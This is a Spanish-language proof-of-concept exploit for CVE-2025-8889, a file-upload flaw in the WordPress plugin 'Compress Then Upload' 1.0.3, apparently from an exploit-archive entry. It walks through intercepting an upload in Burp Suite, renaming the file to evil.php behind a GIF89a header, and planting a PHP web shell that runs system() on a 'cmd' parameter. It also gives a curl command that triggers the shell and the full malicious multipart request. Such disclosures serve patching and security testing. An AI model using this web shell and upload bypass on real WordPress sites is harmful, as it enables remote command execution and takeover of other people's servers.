
Exploit de prueba de concepto para CVE-2025-8889: carga de archivos arbitraria a RCE en el plugin de WordPress Compress Then Upload 1.0.3. Incluye PoC paso a paso usando Burp Suite para omitir la validación MIME y ejecutar código PHP.
Fecha: 2025-07-23
Autor del exploit: Muhammed Çelik
Página del proveedor: https://wordpress.com/plugins/compress-then-upload
Enlace del software: https://downloads.wordpress.org/plugin/compress-then-upload.latest-stable.zip
Versión: 1.0.3
Probado en: Debian, WordPress 6.8.1, Apache 2.4.62, PHP 8.2.28
CVE: CVE-2025-8889
El plugin de WordPress "Compress Then Upload Images" no valida correctamente las extensiones de archivo ni los tipos MIME durante la subida de imágenes a través de su interfaz de subida de medios. Aunque existen validaciones en el lado del cliente, estas se pueden omitir interceptando y modificando la solicitud de subida.
Un usuario autenticado con permisos de subida de medios (rol de Autor o superior) puede explotar esta vulnerabilidad de la siguiente manera:
Paso 1: Preparar un archivo de imagen normal
Crea un archivo de imagen normal, por ejemplo, regular.jpg (cualquier archivo JPG válido).
Paso 2: Subir la imagen normal a través del panel de administración de WordPress
regular.jpg con normalidad.Paso 3: Interceptar y modificar la solicitud de subida con Burp Suite
filename="regular.jpg" → filename="evil.php"GIF89a;
<?php
if (isset($_GET['cmd'])) {
system($_GET['cmd']);
}
Nota: GIF89a; simula un encabezado GIF válido para eludir las validaciones de imagen débiles.
Mantén el Content-Type como image/jpeg.
Reenvía la solicitud modificada al servidor.
Paso 4: Activar la web shell subida
Si la subida se realiza correctamente, el archivo PHP se guardará en el directorio de subidas, por ejemplo:
http://target-site.com/wp-content/uploads/2025/07/evil.php
Accede a través del navegador o con curl:
curl "http://target-site.com/wp-content/uploads/2025/07/evil.php?cmd=id"
Ejemplo de solicitud de subida maliciosa (Burp Suite)
POST /index.php?rest_route=/wpctu-api/v1/upload HTTP/1.1
Host: localhost:8000
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: application/json, text/plain, */*
...
Content-Disposition: form-data; name="file"; filename="evil.php"
Content-Type: image/jpeg
GIF89a;
<?php
if (isset($_GET['cmd'])) {
system($_GET['cmd']);
}
?>
?>